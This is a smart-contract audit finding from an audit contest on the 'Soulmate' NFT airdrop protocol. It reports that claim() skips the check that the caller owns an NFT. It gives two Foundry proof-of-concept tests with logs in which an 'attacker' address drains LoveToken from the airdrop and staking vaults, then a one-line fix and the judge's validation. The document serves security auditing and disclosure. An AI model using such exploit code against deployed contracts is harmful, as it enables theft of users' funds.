Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The claim() function fails to check whether the caller owns a Soulmate, allowing any caller without a Soulmate to claim airdrops meant for the NFT with ID 0.

Summary

Due to the lack of checking whether the caller owns a Soulmate in the claim function, anyone calling claim will immediately receive a substantial amount of LoveToken before the NFT with ID 0 is minted. After the minting of the NFT with ID 0, additional airdrop rewards can be obtained based on the calculation result of block.timestamp - soulmateContract.idToCreationTimestamp(0).

Vulnerability Details

// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
// Calculating since how long soulmates are reunited
uint256 numberOfDaysInCouple = (block.timestamp -
soulmateContract.idToCreationTimestamp(
soulmateContract.ownerToId(msg.sender)
)) / daysInSecond;

In the implementation of the claim function, only the caller's divorce status is checked. However, if the caller hasn't successfully minted an NFT (thus not having a soulmate), soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender)) will return 0.

Impact

Any caller without a Soulmate can claim airdrops meant for the NFT with ID 0.This also does not affect the ability of the owner of the NFT with ID 0 to claim rewards. Furthermore, they can easily deplete the airdropVault when the NFT with ID 0 is minted.This poses a front-running risk.
POC

Here it demonstrates the LoveToken rewards obtained by calling the claim function before the NFT with ID 0 is minted.

function test_Attack() public {
vm.warp(block.timestamp + 1707416808);
console.log("Before Attack Vault Balance:");
console.log(loveToken.balanceOf(address(airdropVault)));
address attacker = makeAddr("attacker");
console.log("Before Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
vm.prank(attacker);
airdropContract.claim();
console.log("After Attack Vault Balance:");
console.log(loveToken.balanceOf(address(airdropVault)));
console.log("After Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
}

result

[PASS] test_Attack() (gas: 101960)
Logs:
Before Attack Vault Balance:
500000000000000000000000000
Before Attacker Balance:
0
After Attack Vault Balance:
499980239000000000000000000
After Attacker Balance:
19761000000000000000000
[PASS] test_WellInitialized() (gas: 12301)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.25ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Here it showcases the rewards obtained by a caller without a Soulmate after the minting of the NFT with ID 0 when they call the claim function.

function test_Attack() public{
vm.warp(block.timestamp + 1707416808);
address attacker = makeAddr("attacker");
console.log("Before Attack Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
vm.startPrank(attacker);
airdropContract.claim();
console.log("Before Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
uint balance = loveToken.balanceOf(address(attacker));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
console.log("After Attack1 Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
console.log("After Attacker1 Balance:");
console.log(loveToken.balanceOf(address(attacker)));
address attacker2 = makeAddr("attacker2");
loveToken.transfer(attacker2, loveToken.balanceOf(address(attacker)));
vm.stopPrank();
vm.startPrank(attacker2);
uint amountTodeposit = (loveToken.balanceOf(address(stakingVault)) * 1 weeks)/ block.timestamp;
loveToken.approve(address(stakingContract), amountTodeposit);
stakingContract.deposit(amountTodeposit);
stakingContract.claimRewards();
stakingContract.withdraw(amountTodeposit);
vm.stopPrank();
console.log("After Attack2 Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
console.log("After Attacker2 Balance:");
console.log(loveToken.balanceOf(address(attacker2)));
}

result

Running 2 tests for test/unit/AirdropTest.t.sol:AirdropTest
[PASS] test_Attack() (gas: 358434)
Logs:
Before Attack Vault Balance:
500000000000000000000000000
Before Attacker Balance:
0
After Attack Vault Balance:
499999800000000000000000000
After Attacker Balance:
200000000000000000000
After soulmate1 Balance:
200000000000000000000
[PASS] test_WellInitialized() (gas: 12301)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.60ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

Manual Review

Recommendations

Check if the caller has a soulmate.

require(soulmateContract.soulmateOf(msg.sender)!=address(0));
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.